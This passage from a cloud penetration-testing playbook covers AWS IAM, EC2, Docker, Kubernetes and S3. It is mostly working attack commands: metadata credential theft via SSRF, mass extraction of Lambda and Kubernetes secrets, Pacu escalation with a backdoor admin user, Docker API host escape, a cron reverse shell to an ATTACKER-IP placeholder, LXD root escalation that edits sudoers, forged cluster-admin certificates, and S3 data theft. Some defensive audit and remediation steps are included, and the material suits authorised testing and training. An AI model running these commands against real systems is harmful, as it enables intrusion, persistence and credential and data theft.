Method 2 — Test IMDSv2 Enforcement

```
# Test IMDSv1 (vulnerable) – if this returns data, IMDSv1 is still enabled
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
```



```
# Test IMDSv2 token flow (from within an EC2 instance if you have shell access)
```

```
TOKEN=$(curl -s -X PUT \  
  "http://169.254.169.254/latest/api/token" \  
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
```

```
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \  
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```

✅ IMDSv1 Vulnerable (Critical Finding):

```
{  
  "Code": "Success",  
  "Type": "AWS-HMAC",  
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",  
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxrFiCYEXAMPLEKEY",  
  "Token": "FQoGZXIvYXZlEJL...",  
  "Expiration": "2024-01-15T18:00:00Z"  
}
```

❌ IMDSv2 Enforced:

401 - Unauthorized

Method 3 — Extract Credentials from Lambda Environment Variables

```
# List all Lambda functions
```

```
aws lambda list-functions --output table \  
  --query "Functions[*].[FunctionName,Runtime,LastModified]"
```

```
# Get environment variables of a specific function
```

```
aws lambda get-function-configuration \  
  --function-name <function-name> \  
  --query "Environment.Variables"
```

```
# Extract environment variables from ALL Lambda functions
```

```
for fn in $(aws lambda list-functions \  
  --query "Functions[].FunctionName" --output text); do  
  echo "=== Function: $fn ==="  
  aws lambda get-function-configuration \  
    --function-name "$fn" \  
    --query "Environment.Variables" \  
    --output json 2>/dev/null  
done
```

```
# Download function source code for manual review
CODE_URL=$(aws lambda get-function \
  --function-name <function-name> \
  --query "Code.Location" --output text)
wget -O function-code.zip "$CODE_URL"
unzip function-code.zip -d ./function-code-review/

# Search code for hardcoded secrets
grep -rniE "password|secret|api_key|api-key|token|AKIA|credential" \
  ./function-code-review/ \
  --include="*.py" --include="*.js" --include="*.json"
```

✓ Critical — Credentials in Environment Variables:

```
{
  "DB_PASSWORD": "prod_db_p@ssw0rd_2024",
  "JWT_SECRET": "super_secret_jwt_signing_key",
  "STRIPE_API_KEY": "sk_live_XXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "AWS_SECONDARY_ACCESS_KEY": "AKIAIOSFODNN7EXAMPLE2",
  "AWS_SECONDARY_SECRET": "another_secret_key_here"
}
```

✗ **Secure Configuration:** Environment variables only contain non-sensitive config like `REGION` or `LOG_LEVEL`. Sensitive values are retrieved at runtime from AWS Secrets Manager.

CSEC-IAM-04 — Pacu Framework — Advanced AWS Exploitation

Objective: Use the Pacu AWS exploitation framework to systematically discover and exploit IAM misconfigurations, enumerate account resources, and identify privilege escalation paths not obvious through manual enumeration.

Method — Pacu Comprehensive AWS Assessment

```
# Install Pacu
pip install pacu --break-system-packages

# Start Pacu
pacu

# At the Pacu prompt:
# Import credentials from AWS CLI profile
import_keys <profile-name>

# Or set keys manually
set_keys
```

```
# Enter: Access Key ID, Secret Key, optional Session Token

# Enumerate all IAM users, roles, policies, groups
run iam__enum_users_roles_policies_groups

# Enumerate effective permissions for all principals
run iam__enum_permissions

# Scan for all privilege escalation paths
run iam__privesc_scan

# Enumerate all S3 buckets and their ACLs
run s3__get_bucket_acls

# Download contents of accessible S3 buckets
run s3__download_bucket

# Enumerate EC2 instances and associated roles
run ec2__enum

# Enumerate Lambda functions
run lambda__enum

# Try to assume all roles in the account (finds misconfigured trust policies)
run iam__assume_role

# Create a backdoor admin user (only if in scope – proof of full compromise)
run iam__create_admin_user
```

✅ Escalation Found:

```
Pacu > run iam__privesc_scan
```

Escalation **method**: CreatePolicyVersion

```
User arn:aws:iam::123456789012:user/developer-ci has iam:CreatePolicyVersion on *
Creating new policy version with AdministratorAccess...
SUCCESS: Policy version v2 created and set as default.
SUCCESS: User now has AdministratorAccess.
```

Phase 3 — Cloud Compute, Container & Network Security Testing

Module ID: CSEC-COMPUTE **Objective:** Move from IAM identity-based testing to the compute layer. Assess the security configuration of running EC2 instances, Docker containers, and Kubernetes clusters. The core targets are misconfigured security groups exposing internal services, containers with excessive privileges, and Kubernetes clusters with weak RBAC or unauthenticated API access.

 **Key Point:** Compute-layer misconfigurations are often the pivot point that turns a low-severity finding into full cloud account compromise. An exposed Docker API or an unauthenticated Kubernetes API server is effectively a root shell on the infrastructure.

CSEC-COMPUTE-01 — EC2 Instance Security Assessment

Objective: Identify EC2 instances with overly permissive security groups, publicly exposed management interfaces, unencrypted EBS volumes, and public EBS snapshots.

Pre-conditions

- AWS credentials with `ec2:Describe*` and `iam:Get*` permissions.

Time-Saving Analysis

Finding	Immediate Action
SSH (port 22) open to <code>0.0.0.0/0</code>	Check if instance has a public IP. Check the instance's IAM role permissions. Attempt SSH with common keys/username.
RDP (port 3389) open to <code>0.0.0.0/0</code>	Attempt RDP with credential stuffing on any discovered credentials.
Instance IAM role has <code>s3:GetObject</code> on <code>*</code>	That instance can read every object in every S3 bucket — high-value pivot.
Public EBS snapshot found	Any AWS account can mount and read it. Treat as full data breach.
MySQL/PostgreSQL/Redis open to internet	Attempt direct unauthenticated connection immediately.

Method 1 — Enumerate All EC2 Instances

```
# List all running EC2 instances with key details
aws ec2 describe-instances \
  --query "Reservations[].Instances[].{
    ID:InstanceId,
    Type:InstanceType,
    State:State.Name,
    PublicIP:PublicIpAddress,
    PrivateIP:PrivateIpAddress,
    IAMRole:IamInstanceProfile.Arn,
```

```

    KeyPair:KeyName,
    SubnetId:SubnetId,
    VPCID:VpcId,
    SecurityGroups:SecurityGroups[*].GroupId
}" \
--output table

# Find instances with public IPs
aws ec2 describe-instances \
--filters "Name=instance-state-name,Values=running" \
--query "Reservations[].Instances[?PublicIpAddress!=null].{
    ID:InstanceId,
    PublicIP:PublicIpAddress,
    SecurityGroups:SecurityGroups[ ].GroupName
}" \
--output table

```

Method 2 — Check for Public EBS Snapshots (Critical)

```

# List all your own snapshots
aws ec2 describe-snapshots --owner-ids self --output table \
--query "Snapshots[*].{
    ID:SnapshotId,
    Volume:VolumeId,
    Created:StartTime,
    Encrypted:Encrypted,
    Description:Description
}"

# Check each snapshot for public permissions
for snap_id in $(aws ec2 describe-snapshots \
--owner-ids self \
--query "Snapshots[].SnapshotId" \
--output text); do
perms=$(aws ec2 describe-snapshot-attribute \
--snapshot-id "$snap_id" \
--attribute createVolumePermission \
--query "CreateVolumePermissions[?Group=='all'].Group" \
--output text)
if [ ! -z "$perms" ]; then
    echo "CRITICAL: Snapshot $snap_id is PUBLICLY accessible!"
fi
done

```

Method 3 — Security Group Analysis

```
# Find all security groups with internet-facing rules
```

```
aws ec2 describe-security-groups \
```

```
--query "SecurityGroups[].[  
  GroupName:GroupName,  
  GroupId:GroupId,  
  InboundRules:IpPermissions[].[  
    Protocol:IpProtocol,  
    FromPort:FromPort,  
    ToPort:ToPort,  
    IPv4Ranges:IpRanges[.CidrIp,  
    IPv6Ranges:Ipv6Ranges[.CidrIpv6  
  ]  
]" \  
--output json | python3 -c "
```

```
import json, sys
```

```
sgs = json.load(sys.stdin)
```

```
critical_ports = {  
    22: 'SSH', 3389: 'RDP', 3306: 'MySQL', 5432: 'PostgreSQL',  
    6379: 'Redis', 27017: 'MongoDB', 9200: 'Elasticsearch',  
    2375: 'Docker-API', 6443: 'Kubernetes', 8080: 'HTTP-Alt',  
    23: 'Telnet', 21: 'FTP', 1433: 'MSSQL', 5900: 'VNC'  
}
```

```
for sg in sgs:
```

```
    for rule in sg.get('InboundRules', []):  
        cidrs = rule.get('IPv4Ranges', [])  
        if '0.0.0.0/0' in cidrs or ':::/0' in rule.get('IPv6Ranges', []):  
            fp = rule.get('FromPort', 0)  
            tp = rule.get('ToPort', 65535)  
            svc = critical_ports.get(fp, 'Unknown')  
            sev = 'CRITICAL' if fp in critical_ports else 'WARNING'  
            print(f'{sev}: {sg[\"GroupName\"]} ({sg[\"GroupId\"]}) '  
                  f'Port {fp}-{tp} Protocol:{rule[\"Protocol\"]} '  
                  f'Service: {svc} OPEN TO INTERNET')
```

```
"
```

```
# Check for unencrypted EBS volumes
```

```
aws ec2 describe-volumes \
```

```
--query "Volumes[?Encrypted==\`false\`].{  
  VolumeId:VolumeId,  
  Size:Size,  
  State:State,  
  Encrypted:Encrypted,  
  AttachedTo:Attachments[0].InstanceId
```

```

}" \
--output table

# Check account-level EBS encryption default setting
aws ec2 get-ebs-encryption-by-default

# Find instances with IAM roles and enumerate those roles
aws ec2 describe-instances \
  --query "Reservations[*].Instances[?IamInstanceProfile!=null].{
    InstanceId:InstanceId,
    Profile:IamInstanceProfile.Arn
  }" --output table

```

Method 4 — Prowler Automated EC2 Checks

```

# Run all EC2-related security checks
prowler aws --services ec2 \
  --output-formats html json \
  --output-path ./prowler-ec2/

# Run specific critical checks
prowler aws --checks \
  ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_22 \
  ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_3389 \
  ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_3306 \
  ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_5432 \
  ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_6379 \
  ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_27017 \
  ec2_securitygroup_allow_ingress_from_internet_to_tcp_port_9200 \
  ec2_instance_imdsv2_enabled \
  ec2_ebs_volume_encryption_enabled \
  ec2_ebs_default_encryption \
  ec2_instance_no_public_ip \
  --output-formats html json \
  --output-path ./prowler-ec2-critical/

```

✓ Critical Findings:

CRITICAL: WebServerSG (sg-0abc123) Port 22-22/tcp Service: SSH OPEN TO INTERNET

CRITICAL: DatabaseSG (sg-0abc456) Port 3306-3306/tcp Service: MySQL OPEN TO INTERNET

CRITICAL: Snapshot snap-0abc789 is PUBLICLY accessible!

✗ Secure Configuration: No security groups open critical ports to 0.0.0.0/0. All EBS volumes are encrypted. No public snapshots exist. SSH access is restricted to bastion host security group only.

CSEC-COMPUTE-02 — Docker Runtime Security Testing

Objective: Identify insecure Docker configurations including exposed APIs without authentication, containers running as root, privileged mode enabled, and sensitive data in environment variables and image layers.

Pre-conditions

- TCP port 2375 (unencrypted) or 2376 (TLS) identified during reconnaissance or port scanning.

⚡ Time-Saving Analysis

Finding	Immediate Action
Unauthenticated Docker API on port 2375	Full host compromise. Run <code>docker exec env</code> immediately on all containers to extract secrets.
Docker socket mounted inside a container	Container escape to host is trivial. Execute immediately if in scope.
Container running with <code>--privileged</code>	Near-certain host escape possible. Check <code>CapEff</code> value.
<code>CapEff: 0000003fffffffff</code>	Container has ALL Linux capabilities. Treat as privileged host access.

Method 1 — Exploit Unauthenticated Docker API

```
# Step 1: Verify remote Docker API is accessible and unauthenticated
curl -s http://<target-ip>:2375/info | python3 -m json.tool | head -30
# If JSON returns with server info, the API is unauthenticated

# Step 2: List all running containers
docker -H tcp://<target-ip>:2375 ps -a
docker -H tcp://<target-ip>:2375 ps \
  --format "table {{.ID}}\t{{.Image}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}"

# Step 3: List all Docker images on the host
docker -H tcp://<target-ip>:2375 images

# Step 4: Read environment variables from a running container
docker -H tcp://<target-ip>:2375 exec -i <container-name> env
# This often reveals: database passwords, API keys, AWS credentials

# Step 5: Inspect container configuration in detail
docker -H tcp://<target-ip>:2375 inspect <container-id>
# Shows: Env vars, Mounts, Network, User (if non-root)
```


Step 6: Find MySQL containers and steal database credentials

```
docker -H tcp://<target-ip>:2375 ps | grep -i mysql
docker -H tcp://<target-ip>:2375 exec -i some-mysql env | \
  grep -i "mysql\|password\|user"
```

Step 7: Connect to MySQL with stolen credentials and dump databases

```
docker -H tcp://<target-ip>:2375 exec -i some-mysql \
  mysql -u root -p<password-from-env> -e "show databases;"

docker -H tcp://<target-ip>:2375 exec -i some-mysql \
  mysqldump -u root -p<password> <database-name> > dump.sql
```

Step 8: Escape to host OS via privileged container

```
docker -H tcp://<target-ip>:2375 run -it \
  --privileged \
  --pid=host \
  -v /:/host \
  ubuntu:latest \
  /bin/bash -c "chroot /host bash"
```

You are now root on the Docker host

Step 9: Create persistent backdoor via cron on the host

```
docker -H tcp://<target-ip>:2375 run -it \
  -v /:/host \
  --privileged \
  ubuntu:latest \
  /bin/bash -c "echo '* * * * * root bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1' \
  >> /host/etc/crontab"
```

✓ Critical — Unauthenticated Docker API Exploited:

```
MYSQL_ROOT_PASSWORD=SuperSecretP@ssw0rd
POSTGRES_PASSWORD=prod_pg_pass_2024
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxrFiCYEXAMPLEKEY
```

✗ **Secure Configuration:** Connection to port 2375 refused. TLS port 2376 requires valid client certificate. Docker API not exposed to network.

Method 2 — Assess Container Security from Inside

Check if running as root

```
whoami && id
```

uid=0(root) gid=0(root) = container running as root

Check if container is privileged (0000003fffffffff = all capabilities = privileged)

```
cat /proc/self/status | grep CapEff
```

Check for Docker socket inside the container

```
ls -la /var/run/docker.sock
```

If it exists, you can escape using it

Escape via Docker socket (if accessible)

```
docker -H unix:///var/run/docker.sock run -it \  
  --privileged \  
  -v /:/host \  
  ubuntu:latest \  
  chroot /host bash
```

Check for host filesystem mounts

```
mount | grep -E "proc|sys|dev|cgroup|docker|host"
```

```
df -h
```

```
cat /proc/mounts
```

Check for sensitive files from host

```
cat /host/etc/shadow 2>/dev/null
```

```
cat /run/secrets/* 2>/dev/null
```

```
ls /etc/secrets 2>/dev/null
```

Extract all secrets from environment

```
env | grep -iE "password|secret|key|token|api|auth|credential"
```

Check for cloud credentials in environment

```
env | grep -E "AWS_|AZURE_|GOOGLE_|GCP_"
```

Check capabilities (non-privileged containers should have far fewer)

```
capsh --print 2>/dev/null || cat /proc/self/status | grep Cap
```

CSEC-COMPUTE-03 — Kubernetes Cluster Security Assessment

Objective: Assess the security of a Kubernetes cluster — enumerate all workloads, test RBAC configurations, check for dangerous pod security settings, decode secrets, and identify privilege escalation paths from a low-privilege pod to cluster-admin.

Pre-conditions

- Access to a kubeconfig file, or Kubernetes API server is accessible (check port 6443).

- For black-box: check port 6443 (API server) and port 10250 (kubelet) from recon.

⚡ Time-Saving Analysis

Finding	Immediate Action
API server accessible without authentication	Full cluster compromise. List all pods and secrets immediately.
Service account token with <code>cluster-admin</code> binding	Full cluster control.
Pod running with <code>--privileged</code> + host path mount to <code>/</code>	Escape to host immediately.
<code>kubectl get secrets</code> returns data	Decode all secrets immediately (<code>base64 -d</code>).
Docker socket mounted as volume in a pod	Container-to-host escape via Docker.

Method 1 — Establish Cluster Access and Initial Enumeration

```
# Set up a stolen kubeconfig
export KUBECONFIG=/path/to/stolen/kubeconfig
kubectl cluster-info
kubectl get nodes

# Test for unauthenticated API server access (no auth required = Critical)
curl -k https://<kubernetes-api-ip>:6443/api/v1/namespaces
curl -k https://<kubernetes-api-ip>:6443/api/v1/nodes
# If this returns data without a 401/403 = anonymous access enabled

# List all pods across all namespaces
kubectl get pods --all-namespaces -o wide

# List all services (look for LoadBalancer = external IPs)
kubectl get services --all-namespaces

# List all deployments
kubectl get deployments --all-namespaces

# List all service accounts
kubectl get serviceaccounts --all-namespaces

# Check your own RBAC permissions in current namespace
kubectl auth can-i --list

# Check permissions across all namespaces
kubectl auth can-i --list --all-namespaces
```

```
# Check what a specific service account can do
kubectl auth can-i --list \
  --as=system:serviceaccount:<namespace>:<sa-name>
```

```
# Get all resources across all namespaces
kubectl get all --all-namespaces
```

Method 2 — Read and Decode Kubernetes Secrets

⚠ **Critical Note:** Kubernetes Secrets are **base64-encoded**, **NOT encrypted** by default. Anyone with `get/list/watch` on secrets can trivially read them.

```
# List all secrets across all namespaces
kubectl get secrets --all-namespaces
```

```
# Read a specific secret in full JSON
kubectl get secret <secret-name> -n <namespace> -o json
```

```
# Decode a specific field from a secret
kubectl get secret db-credentials -n production \
  -o jsonpath='{.data.password}' | base64 --decode
echo # newline after decoded output
```

```
# Extract and decode ALL fields from ALL secrets in a namespace
kubectl get secrets -n <namespace> -o json | python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
for item in data['items']:
    print(f"\n=== Secret: {item['metadata']['name']} ===")
    for k, v in item.get('data', {}).items():
        try:
            decoded = base64.b64decode(v).decode('utf-8', errors='replace')
            print(f'  {k}: {decoded}')
        except Exception as e:
            print(f'  {k}: [decode error: {e}]')
"
```

```
# Decode ALL secrets across ALL namespaces
for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do
    echo "=== Namespace: $ns ==="
    kubectl get secrets -n "$ns" -o json 2>/dev/null | python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
```

```

for item in data['items']:
    for k, v in item.get('data', {}).items():
        decoded = base64.b64decode(v).decode('utf-8', errors='replace')
        if any(kw in k.lower() for kw in
['password', 'secret', 'key', 'token', 'api', 'auth']):
            print(f"\t {item['metadata']['name']}.{k}: {decoded}\n")
" 2>/dev/null
done

```

Method 3 — Identify Dangerous Pod Configurations

```

# Find all privileged pods
kubectl get pods --all-namespaces -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for pod in data['items']:
    ns = pod['metadata']['namespace']
    name = pod['metadata']['name']
    for container in pod['spec']['containers']:
        sec = container.get('securityContext', {})
        if sec.get('privileged'):
            print(f'PRIVILEGED: {ns}/{name} container: {container["name"]}')
"

# Find pods mounting the host filesystem
kubectl get pods --all-namespaces -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for pod in data['items']:
    ns = pod['metadata']['namespace']
    name = pod['metadata']['name']
    for vol in pod['spec'].get('volumes', []):
        hp = vol.get('hostPath', {}).get('path')
        if hp:
            print(f'HOST MOUNT: {ns}/{name} -> {hp}')
"

# Find pods with the Docker socket mounted
kubectl get pods --all-namespaces -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for pod in data['items']:
    ns = pod['metadata']['namespace']
    name = pod['metadata']['name']

```

```

    for vol in pod['spec'].get('volumes', []):
        if vol.get('hostPath', {}).get('path') == '/var/run/docker.sock':
            print(f'DOCKER SOCKET MOUNT: {ns}/{name}')

```

"

Find pods running as root (runAsUser=0)

```
kubectl get pods --all-namespaces -o json | python3 -c "
```

```
import json, sys
```

```
data = json.load(sys.stdin)
```

```
for pod in data['items']:
```

```
    ns = pod['metadata']['namespace']
```

```
    name = pod['metadata']['name']
```

```
    pod_sec = pod['spec'].get('securityContext', {})
```

```
    if pod_sec.get('runAsUser', 1) == 0:
```

```
        print(f'ROOT POD: {ns}/{name}')
```

```
    for c in pod['spec']['containers']:
```

```
        c_sec = c.get('securityContext', {})
```

```
        if c_sec.get('runAsUser', 1) == 0:
```

```
            print(f'ROOT CONTAINER: {ns}/{name}/{c["name"]}')
```

"

Find pods with hostNetwork, hostPID, or hostIPC

```
kubectl get pods --all-namespaces -o json | python3 -c "
```

```
import json, sys
```

```
data = json.load(sys.stdin)
```

```
for pod in data['items']:
```

```
    ns = pod['metadata']['namespace']
```

```
    name = pod['metadata']['name']
```

```
    spec = pod['spec']
```

```
    if spec.get('hostNetwork'): print(f'HOST NETWORK: {ns}/{name}')
```

```
    if spec.get('hostPID'):      print(f'HOST PID:      {ns}/{name}')
```

```
    if spec.get('hostIPC'):      print(f'HOST IPC:      {ns}/{name}')
```

"

Check if NetworkPolicies are defined (absence = all pods can reach all pods)

```
kubectl get networkpolicies --all-namespaces
```

If empty = no network segmentation = easy lateral movement

Method 4 — kube-hunter and kube-bench

kube-hunter: automated Kubernetes penetration testing (30+ known issues)

Run remotely against an exposed cluster

```
kube-hunter --remote <kubernetes-api-ip>
```

```
# Run with JSON report
kube-hunter --remote <kubernetes-api-ip> --report json > kube-hunter-results.json

# Run from inside the cluster (if you have pod access)
kubectl run kube-hunter \
  --image=aquasec/kube-hunter:latest \
  --restart=Never \
  --rm -it \
  -- --pod

# kube-bench: CIS Kubernetes Benchmark check on a worker node
docker run --pid=host --rm \
  -v /etc:/etc:ro \
  -v /var/lib:/var/lib:ro \
  -v /var/lib/etcd:/var/lib/etcd:ro \
  -v /usr/lib/systemd:/usr/lib/systemd:ro \
  -v /etc/systemd:/etc/systemd:ro \
  -v /lib/systemd:/lib/systemd:ro \
  -v /usr/bin/ps:/usr/bin/ps:ro \
  -t aquasec/kube-bench:latest node

# Run on the master/control-plane node
docker run --pid=host --rm \
  -v /etc:/etc:ro \
  -v /var/lib:/var/lib:ro \
  -t aquasec/kube-bench:latest master
```

✓ Critical kube-hunter Findings:

```
+-----+-----+
| HUNT   | Unauthenticated access to API server |
+-----+-----+
| FOUND  | Anonymous access to API server - High Severity |
| FOUND  | Privileged container found in namespace: default |
| FOUND  | Exposed etcd service on port 2379 without TLS |
| FOUND  | Kubernetes Dashboard exposed at port 30443 |
+-----+-----+
```

✗ **Hardened Cluster:** kube-hunter finds no vulnerabilities. API server requires authentication. All containers run as non-root. Privileged mode disabled via admission controllers. NetworkPolicies in place.

Method 5 — Container Escape via LXD/LXC Group Privilege Escalation

If the current user is in the `lxd` group on a Linux host, they can escalate to root.

Step 1: Check if in lxd group

```
id
```

```
# uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),116(lxd)
```

Step 2: Build Alpine image on attacker machine

```
mkdir -p $HOME/ContainerImages/alpine/ && cd $HOME/ContainerImages/alpine/  
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml  
distrobuilder build-lxd alpine.yaml 2>/dev/null  
# Produces: lxd.tar.xz and rootfs.squashfs
```

Step 3: Transfer to victim machine and import into LXD

(Transfer lxd.tar.xz and rootfs.squashfs to victim)

```
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine-priv-esc
```

Step 4: Launch privileged container with host filesystem mounted

```
lxc init alpine-priv-esc privesc -c security.privileged=true  
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true  
lxc start privesc
```

Step 5: Get root shell and access host OS

```
lxc exec privesc -- sh
```

```
ls /mnt/root # Full host filesystem
```

```
cat /mnt/root/etc/shadow # Root password hashes
```

```
cat /mnt/root/root/.ssh/id_rsa # Root SSH private key
```

```
echo "ubuntu ALL=(ALL) NOPASSWD:ALL" >> /mnt/root/etc/sudoers # Add sudo
```

```
cp /mnt/root/etc/passwd /tmp/ # Copy passwd file
```

✅ **Root on Host Achieved:**

```
# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
# cat /mnt/root/etc/shadow
```

```
root:$6$rounds=65536$XXXXXXXXXXXXXXXXXX:18000:0:99999:7:::
```

❌ **Not Vulnerable:** User not in `lxd` group. `lxc` not installed or restricted by policy.

CSEC-COMPUTE-04 — Kubernetes CSR API Privilege Escalation

Objective: Exploit Kubernetes Certificate Signing Request (CSR) API misconfigurations to escalate privileges within the cluster by forging authentication certificates.

Method — CSR API Exploitation

Step 1: Check if you can create CSRs

```
kubectl auth can-i create certificatesigningrequests
```

Step 2: Generate a private key and CSR for a high-privilege service account

```
openssl genrsa -out attacker.key 2048
```

```
openssl req -new -key attacker.key \  
  -subj "/CN=cluster-admin/O=system:masters" \  
  -out attacker.csr
```

Step 3: Submit the CSR to Kubernetes

```
cat > csr.yaml << EOF
```

```
apiVersion: certificates.k8s.io/v1
```

```
kind: CertificateSigningRequest
```

```
metadata:
```

```
  name: attacker-csr
```

```
spec:
```

```
  request: $(cat attacker.csr | base64 | tr -d '\n')
```

```
  signerName: kubernetes.io/kube-apiserver-client
```

```
  usages:
```

```
    - client auth
```

```
EOF
```

```
kubectl apply -f csr.yaml
```

Step 4: If auto-approval or misconfigured RBAC, approve the CSR

```
kubectl certificate approve attacker-csr
```

Step 5: Retrieve the signed certificate

```
kubectl get csr attacker-csr -o jsonpath='{.status.certificate}' | \  
  base64 --decode > attacker.crt
```

Step 6: Use the certificate to authenticate as cluster-admin

```
kubectl --client-certificate=attacker.crt \  
  --client-key=attacker.key \  
  --certificate-authority=/etc/kubernetes/pki/ca.crt \  
  get pods --all-namespaces
```

Countermeasures: Enable Kubernetes auditing on all clusters, enforce strict RBAC for CSR approval, avoid automated CSR approval workflows.

CSEC-COMPUTE-05 — EC2 IMDSv2 Enforcement Verification

Objective: Verify that IMDSv2 is enforced on all EC2 instances to prevent SSRF-to-credential-theft attacks.

Method — IMDSv2 Assessment

```
# Check metadata options for all instances
aws ec2 describe-instances \
  --query "Reservations[*].Instances[*].{
    ID:InstanceId,
    MetadataOptions:MetadataOptions
  }" \
  --output json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for reservation in data:
    for inst in reservation:
        opts = inst.get('MetadataOptions', {})
        state = opts.get('HttpTokens', 'unknown')
        iid = inst.get('ID', 'unknown')
        if state != 'required':
            print(f'VULNERABLE: {iid} HttpTokens={state} (IMDSv1 enabled)')
        else:
            print(f'SECURE: {iid} HttpTokens=required (IMDSv2 enforced)')
"

# Check the account-level default IMDSv2 setting
aws ec2 get-instance-metadata-defaults

# Run Prowler check
prowler aws --checks ec2_instance_imdsv2_enabled \
  --output-formats html json \
  --output-path ./imds-check/

# Enforce IMDSv2 on a specific instance (remediation)
aws ec2 modify-instance-metadata-options \
  --instance-id <instance-id> \
  --http-tokens required \
  --http-put-response-hop-limit 1
```

Phase 4 — Cloud Storage Security Testing

Module ID: CSEC-STOR **Objective:** Conduct in-depth assessment of all cloud storage resources.

Beyond basic public access checks, this phase tests authenticated access controls, server-side encryption, access logging, bucket policy misconfigurations, cross-account access, and data exfiltration capability.

 **Key Point:** Storage misconfigurations are the **single largest source of cloud data breaches globally**. According to industry reports, over 40% of cloud data breaches involve a misconfigured storage resource.

CSEC-STOR-01 — AWS S3 Security Assessment

Objective: Assess every S3 bucket for access control misconfigurations, missing encryption, disabled logging, overly permissive bucket policies, and cross-account access.

Pre-conditions

- AWS credentials with `s3:ListAllMyBuckets`, `s3api:GetBucket*` permissions.

Time-Saving Analysis

Finding	Severity	Immediate Action
<code>BlockPublicAcls: false</code>	Critical	Check bucket ACL and policy for public grants immediately.
No server-side encryption	High	Per PCI DSS, HIPAA, ISO 27001 — unencrypted data at rest.
No access logging	High	No audit trail. Attackers can exfiltrate data undetected.
<code>Principal: "*" in bucket policy</code>	Critical	Anyone can perform that action. Verify immediately.
Write access confirmed	Critical	Plant files, conduct supply chain attack.

Method 1 — Account-Level S3 Enumeration

```
# List all S3 buckets
aws s3 ls

# Check ACCOUNT-LEVEL Block Public Access (all four should be TRUE)
aws s3control get-public-access-block --account-id <account-id>

# Secure output:
# {
#   "PublicAccessBlockConfiguration": {
#     "BlockPublicAcls": true,
#     "IgnorePublicAcls": true,
#     "BlockPublicPolicy": true,
#     "RestrictPublicBuckets": true
#   }
# }
```

```

# Bulk security check across ALL buckets
BUCKETS=$(aws s3 ls | awk '{print $3}')
for bucket in $BUCKETS; do
    echo "=====
    echo "Bucket: $bucket"
    echo "--- Block Public Access ---"
    aws s3api get-public-access-block --bucket "$bucket" 2>/dev/null || \
        echo "NO BLOCK PUBLIC ACCESS CONFIG"
    echo "--- Public ACL Grants ---"
    aws s3api get-bucket-acl --bucket "$bucket" \
        --query "Grants[?
Grantee.URI=='http://acs.amazonaws.com/groups/global/AllUsers']" \
        --output json 2>/dev/null
    echo "--- Encryption ---"
    aws s3api get-bucket-encryption --bucket "$bucket" 2>/dev/null || \
        echo "NO ENCRYPTION - CRITICAL"
    echo "--- Access Logging ---"
    aws s3api get-bucket-logging --bucket "$bucket" 2>/dev/null
    echo "--- Versioning ---"
    aws s3api get-bucket-versioning --bucket "$bucket" 2>/dev/null
    echo ""
done

```

Method 2 — Per-Bucket Deep Security Testing

```

# Block Public Access settings at bucket level
aws s3api get-public-access-block --bucket <bucket-name>

# Get bucket ACL – Look for AllUsers or AuthenticatedUsers
aws s3api get-bucket-acl --bucket <bucket-name>
# AllUsers = anyone on internet | AuthenticatedUsers = any of ~300M AWS accounts worldwide

# Get bucket policy – Look for "Principal": "*"
aws s3api get-bucket-policy --bucket <bucket-name> \
    --query Policy --output text | python3 -m json.tool

# Check server-side encryption (SSEAlgorithm = aws:kms or AES256)
aws s3api get-bucket-encryption --bucket <bucket-name>
# Error: ServerSideEncryptionConfigurationNotFoundError = NO ENCRYPTION

# Check access Logging (absent LoggingEnabled = no Logging)
aws s3api get-bucket-logging --bucket <bucket-name>

```

```

# Check versioning (protection against ransomware)
aws s3api get-bucket-versioning --bucket <bucket-name>

# Check cross-region replication
aws s3api get-bucket-replication --bucket <bucket-name>

# Check CORS configuration (AllowedOrigins: ["*"] = any website can request data)
aws s3api get-bucket-cors --bucket <bucket-name>

# List contents recursively
aws s3 ls s3://<bucket-name> --recursive --human-readable --summarize

# Search for sensitive files
aws s3 ls s3://<bucket-name> --recursive | \
    grep -iE "\.sql$|\.bak$|\.env$|\.csv$|\.json$|\.key$|\.pem$|\.
credential|password|secret|backup|config|dump|export|private"

# Download specific sensitive files
aws s3 cp s3://<bucket-name>/config/.env ./stolen_env_file
aws s3 cp s3://<bucket-name>/backup/database_2024.sql ./stolen_db_backup.sql

# Test write access (plant a probe file)
echo "pentest_probe_$(date +%s)" > pentest_probe.txt
aws s3 cp pentest_probe.txt s3://<bucket-name>/pentest_probe.txt
# Successful upload = Critical finding

# Clean up your own test file
aws s3 rm s3://<bucket-name>/pentest_probe.txt

```

Method 3 — Prowler Automated S3 Assessment

```

# Run all S3 security checks
prowler aws --services s3 \
    --output-formats html json csv \
    --output-path ./prowler-s3/

# Run specific S3 checks
prowler aws --checks \
    s3_bucket_public_access \
    s3_bucket_default_encryption \
    s3_bucket_logging_enabled \
    s3_bucket_versioning_enabled \
    s3_bucket_policy_public_write_access \
    s3_bucket_object_lock \

```

```
s3_bucket_secure_transport_policy \  
--output-formats html json \  
--output-path ./prowler-s3-critical/
```

```
